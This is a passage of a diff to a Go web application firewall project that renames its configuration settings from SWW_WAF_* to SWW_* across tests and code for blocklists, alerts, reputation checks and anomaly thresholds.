"SWW_WAF_BLOCKLIST_URLS": torURL,
|
"SWW_BLOCKLIST_URLS": torURL,
|
||||||
// The requests sent until the list takes effect, and those for the
|
// The requests sent until the list takes effect, and those for the
|
||||||
// metrics, must not break a rate limit, whose ban would refuse them
|
// metrics, must not break a rate limit, whose ban would refuse them
|
||||||
// too.
|
// too.
|
||||||
@@ -811,12 +807,12 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
// Restarted with drop.txt named after it and the server answering, tor.txt
|
// Restarted with drop.txt named after it and the server answering, tor.txt
|
||||||
// waits SWW_WAF_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
||||||
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
||||||
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
||||||
failing.Store(false)
|
failing.Store(false)
|
||||||
|
|
||||||
env["SWW_WAF_BLOCKLIST_URLS"] = torURL + "," + dropURL
|
env["SWW_BLOCKLIST_URLS"] = torURL + "," + dropURL
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
for statusFrom(t, url, placed) != http.StatusForbidden {
|
for statusFrom(t, url, placed) != http.StatusForbidden {
|
||||||
time.Sleep(pollInterval)
|
time.Sleep(pollInterval)
|
||||||
@@ -878,9 +874,9 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
"SWW_CROWDSEC_LAPI_URL": engine.URL,
|
||||||
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Once the list is fetched, the client's request bans it.
|
// Once the list is fetched, the client's request bans it.
|
||||||
@@ -961,14 +957,14 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
lookupSource: "file", lookupDBPath: path,
|
lookupSource: "file", lookupDBPath: path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + path +
|
want := "SWW_LOOKUP_DB_PATH cannot be read: open " + path +
|
||||||
": no such file or directory"
|
": no such file or directory"
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the lookup database")
|
line := out.line(t, "msg", "cannot use the lookup database")
|
||||||
@@ -996,8 +992,8 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
"SWW_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||||
}
|
}
|
||||||
|
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1055,10 +1051,9 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
"SWW_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(),
|
||||||
String(),
|
"SWW_LOG_REMOTE_BUFFER": "1",
|
||||||
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
|
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
@@ -1131,9 +1126,9 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
ruleFilesDir: rules,
|
rulesDir: rules,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
"SWW_ALERT_WEBHOOK_URL": webhook.url,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
"SWW_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1169,7 +1164,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
|
|
||||||
webhook.failing.Store(false)
|
webhook.failing.Store(false)
|
||||||
|
|
||||||
env["SWW_WAF_ALLOW_NETS"] = localhost
|
env["SWW_ALLOW_NETS"] = localhost
|
||||||
env[metricsToken] = token
|
env[metricsToken] = token
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1237,15 +1232,15 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
// The metrics are read from 127.0.0.1, which no limit counts.
|
// The metrics are read from 127.0.0.1, which no limit counts.
|
||||||
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
"SWW_ALLOW_NETS": localhost + "/32",
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": slack.url,
|
"SWW_ALERT_SLACK_WEBHOOK_URL": slack.url,
|
||||||
"SWW_WAF_ALERT_NTFY_URL": ntfy.url,
|
"SWW_ALERT_NTFY_URL": ntfy.url,
|
||||||
"SWW_WAF_ALERT_NTFY_TOKEN": ntfyToken,
|
"SWW_ALERT_NTFY_TOKEN": ntfyToken,
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1319,7 +1314,7 @@ func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantStartRefused(t, filepath.Join(t.TempDir(), "missing"),
|
wantStartRefused(t, filepath.Join(t.TempDir(), "missing"),
|
||||||
"SWW_WAF_STATE_DIR cannot be written: ")
|
"SWW_STATE_DIR cannot be written: ")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
||||||
@@ -1331,7 +1326,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -1340,11 +1335,8 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
line := out.line(t, "msg", "cannot use the state and cache files")
|
||||||
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
||||||
"SWW_WAF_CACHE_DIR cannot be written: ") {
|
"SWW_CACHE_DIR cannot be written: ") {
|
||||||
t.Errorf(
|
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
|
||||||
"start refused with %q, want SWW_WAF_CACHE_DIR named",
|
|
||||||
message,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1360,7 +1352,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
@@ -1390,7 +1382,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
@@ -1461,26 +1453,26 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
want := map[string]any{
|
want := map[string]any{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
"SWW_WAF_MODE": "enforce",
|
"SWW_MODE": "enforce",
|
||||||
bansWriteDelay: "10s",
|
stateWriteDelay: "10s",
|
||||||
stateWriteInterval: "15m",
|
stateCounterInterval: "15m",
|
||||||
"SWW_WAF_ALLOW_NETS": "",
|
"SWW_ALLOW_NETS": "",
|
||||||
rateLimitExemptNets: "",
|
rateLimitExemptNets: "",
|
||||||
"SWW_WAF_DENY_NETS": "",
|
"SWW_DENY_NETS": "",
|
||||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "120",
|
"SWW_RATE_LIMIT_PER_MINUTE": "120",
|
||||||
"SWW_WAF_RATE_LIMIT_PER_HOUR": "1500",
|
"SWW_RATE_LIMIT_PER_HOUR": "1500",
|
||||||
rateLimitPerDay: "6000",
|
rateLimitPerDay: "6000",
|
||||||
"SWW_WAF_RATE_LIMIT_EXEMPT_PATHS": "",
|
"SWW_RATE_LIMIT_EXEMPT_PATHS": "",
|
||||||
"SWW_WAF_TAG_DENY": "",
|
"SWW_TAG_DENY": "",
|
||||||
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
|
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
|
||||||
"SWW_WAF_BAN_RESPONSE": "403",
|
"SWW_BAN_RESPONSE": "403",
|
||||||
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
"SWW_LIMIT_BAN_DURATION": "1h",
|
||||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
"SWW_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||||
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
|
"SWW_MAX_BAN_DURATION": "7d",
|
||||||
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
"SWW_ATTACK_BAN_DURATION": "7d",
|
||||||
"SWW_WAF_MAX_BANS": "5000",
|
"SWW_MAX_BANS": "5000",
|
||||||
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
"SWW_BAN_SCOPE_V4_PREFIX": "32",
|
||||||
"SWW_WAF_RULE_FILES_ENABLED": "true",
|
"SWW_RULES_ENABLED": "true",
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, value := range want {
|
for name, value := range want {
|
||||||
@@ -1697,7 +1689,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantRefused checks that waf at url refuses a request from localhost with
|
// wantRefused checks that waf at url refuses a request from localhost with
|
||||||
// 403, the default SWW_WAF_BAN_RESPONSE.
|
// 403, the default SWW_BAN_RESPONSE.
|
||||||
func wantRefused(t *testing.T, url string) {
|
func wantRefused(t *testing.T, url string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -1742,8 +1734,8 @@ func saveUntilAnswered(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// destination is a stand-in for SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
|
// destination is a stand-in for SWW_ALERT_SLACK_WEBHOOK_URL or
|
||||||
// SWW_WAF_ALERT_NTFY_URL. It notes each request it is sent, and answers
|
// SWW_ALERT_NTFY_URL. It notes each request it is sent, and answers
|
||||||
// 200.
|
// 200.
|
||||||
type destination struct {
|
type destination struct {
|
||||||
url string
|
url string
|
||||||
@@ -1802,7 +1794,7 @@ func (d *destination) firstPost(t *testing.T) destinationPost {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// webhook is a stand-in for SWW_WAF_ALERT_WEBHOOK_URL. It notes each alert
|
// webhook is a stand-in for SWW_ALERT_WEBHOOK_URL. It notes each alert
|
||||||
// it is sent, and answers 204, or 503 while failing.
|
// it is sent, and answers 204, or 503 while failing.
|
||||||
type webhook struct {
|
type webhook struct {
|
||||||
url string
|
url string
|
||||||
|
|||||||
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
listenAddr+"="+localhost+":0",
|
listenAddr+"="+localhost+":0",
|
||||||
stateDir+"="+dir,
|
stateDir+"="+dir,
|
||||||
cacheDir+"="+dir,
|
cacheDir+"="+dir,
|
||||||
ruleFilesDir+"="+t.TempDir(),
|
rulesDir+"="+t.TempDir(),
|
||||||
lookupSource+"=off")
|
lookupSource+"=off")
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
exited := startProcess(t, cmd)
|
||||||
@@ -280,7 +280,7 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}
|
}
|
||||||
|
|
||||||
runWAF(t, env, func(addr string) {
|
runWAF(t, env, func(addr string) {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
|
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -16,12 +16,12 @@ import (
|
|||||||
|
|
||||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||||
// the score, when its score of the client is a hit, and refuses the request
|
// the score, when its score of the client is a hit, and refuses the request
|
||||||
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
|
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||||
// checked in the background, by the request's address, if its history counts
|
// checked in the background, by the request's address, if its history counts
|
||||||
// an offence, and the request does not wait for the answer. The score is then
|
// an offence, and the request does not wait for the answer. The score is then
|
||||||
// used for each address of the client. Its figures are the score and
|
// used for each address of the client. Its figures are the score and
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
// SWW_ABUSEIPDB_MIN_SCORE.
|
||||||
type abuseIPDB struct{}
|
type abuseIPDB struct{}
|
||||||
|
|
||||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||||
@@ -51,10 +51,10 @@ func (abuseIPDB) check(
|
|||||||
Source: reputation.AbuseIPDBSource,
|
Source: reputation.AbuseIPDBSource,
|
||||||
Score: &score,
|
Score: &score,
|
||||||
},
|
},
|
||||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
|
||||||
)
|
)
|
||||||
|
|
||||||
if rq.h.config.DNSBLAbuseIPDBAction != deny {
|
if rq.h.config.ReputationAction != deny {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ func (rq *request) answerHealth() {
|
|||||||
|
|
||||||
// answerAdmin answers a request for one of waf's own endpoints. Each
|
// answerAdmin answers a request for one of waf's own endpoints. Each
|
||||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||||
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
|
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||||
// path does.
|
// path does.
|
||||||
func (rq *request) answerAdmin() {
|
func (rq *request) answerAdmin() {
|
||||||
|
|||||||
@@ -17,8 +17,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
|
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
||||||
// how a request carries it.
|
// how a request carries it.
|
||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
adminBearer = "Bearer " + adminSecret
|
adminBearer = "Bearer " + adminSecret
|
||||||
@@ -423,12 +423,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
|
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
||||||
type adminEndpoint struct {
|
type adminEndpoint struct {
|
||||||
method, path, body string
|
method, path, body string
|
||||||
}
|
}
|
||||||
|
|
||||||
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
|
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
||||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||||
// bans on otherClient, and asking about otherClient.
|
// bans on otherClient, and asking about otherClient.
|
||||||
func adminEndpoints() []adminEndpoint {
|
func adminEndpoints() []adminEndpoint {
|
||||||
|
|||||||
@@ -15,8 +15,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||||
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||||
// alertInstance is the instance every alert of these tests gives.
|
// alertInstance is the instance every alert of these tests gives.
|
||||||
alertInstance = "fsn1app1/blog"
|
alertInstance = "fsn1app1/blog"
|
||||||
)
|
)
|
||||||
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||||
ruleFilesDir: writeRules(t, testRules),
|
rulesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
netblock := netip.MustParsePrefix(client + "/32")
|
||||||
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||||
mode: observe,
|
mode: observe,
|
||||||
rateLimitPerMinute: "2",
|
rateLimitPerMinute: "2",
|
||||||
ruleFilesDir: writeRules(t, testRules),
|
rulesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
|||||||
s, _, _, queue := startWithAlerts(t, map[string]string{
|
s, _, _, queue := startWithAlerts(t, map[string]string{
|
||||||
mode: observe,
|
mode: observe,
|
||||||
rateLimitPerMinute: "2",
|
rateLimitPerMinute: "2",
|
||||||
ruleFilesDir: writeRules(t, testRules),
|
rulesDir: writeRules(t, testRules),
|
||||||
alertMaxPerHour: "2",
|
alertMaxPerHour: "2",
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
|||||||
client: netip.MustParseAddr("203.0.113.9"),
|
client: netip.MustParseAddr("203.0.113.9"),
|
||||||
lookedUp: true,
|
lookedUp: true,
|
||||||
},
|
},
|
||||||
h: &handler{config: &config.WAF{LookupSource: "geojs"}},
|
h: &handler{config: &config.Config{LookupSource: "geojs"}},
|
||||||
}
|
}
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
|
|||||||
@@ -21,11 +21,11 @@ import (
|
|||||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||||
// count.
|
// count.
|
||||||
const (
|
const (
|
||||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
anomalyNet = "SWW_ANOMALY_NET_"
|
||||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||||
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_"
|
anomalyWatch = "SWW_WATCH_"
|
||||||
|
|
||||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||||
@@ -35,9 +35,9 @@ const (
|
|||||||
|
|
||||||
// The other anomaly settings.
|
// The other anomaly settings.
|
||||||
const (
|
const (
|
||||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||||
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS"
|
watchNets = "SWW_WATCH_NETS"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
|||||||
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
||||||
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
||||||
{
|
{
|
||||||
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||||
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
|||||||
t.Run(setting, func(t *testing.T) {
|
t.Run(setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
env := map[string]string{setting: value, watchedNets: office}
|
env := map[string]string{setting: value, watchNets: office}
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
@@ -168,9 +168,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||||
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||||
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
|
denied = "192.0.2.20" // in SWW_DENY_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||||
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
|||||||
// With every threshold off, nothing is counted.
|
// With every threshold off, nothing is counted.
|
||||||
s, server, queue := startWithLookups(
|
s, server, queue := startWithLookups(
|
||||||
t,
|
t,
|
||||||
map[string]string{watchedNets: office},
|
map[string]string{watchNets: office},
|
||||||
)
|
)
|
||||||
|
|
||||||
for range 5 {
|
for range 5 {
|
||||||
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
|||||||
|
|
||||||
// With one set, its count alone is counted, in its scope alone.
|
// With one set, its count alone is counted, in its scope alone.
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||||
anomalyNet + requestsPerMinute: aLot, watchedNets: office,
|
anomalyNet + requestsPerMinute: aLot, watchNets: office,
|
||||||
})
|
})
|
||||||
|
|
||||||
for range 5 {
|
for range 5 {
|
||||||
@@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
asnAndCountryLookupTimeout: "3600000",
|
lookupTimeout: "1h",
|
||||||
anomalyASN + requestsPerMinute: aLot,
|
anomalyASN + requestsPerMinute: aLot,
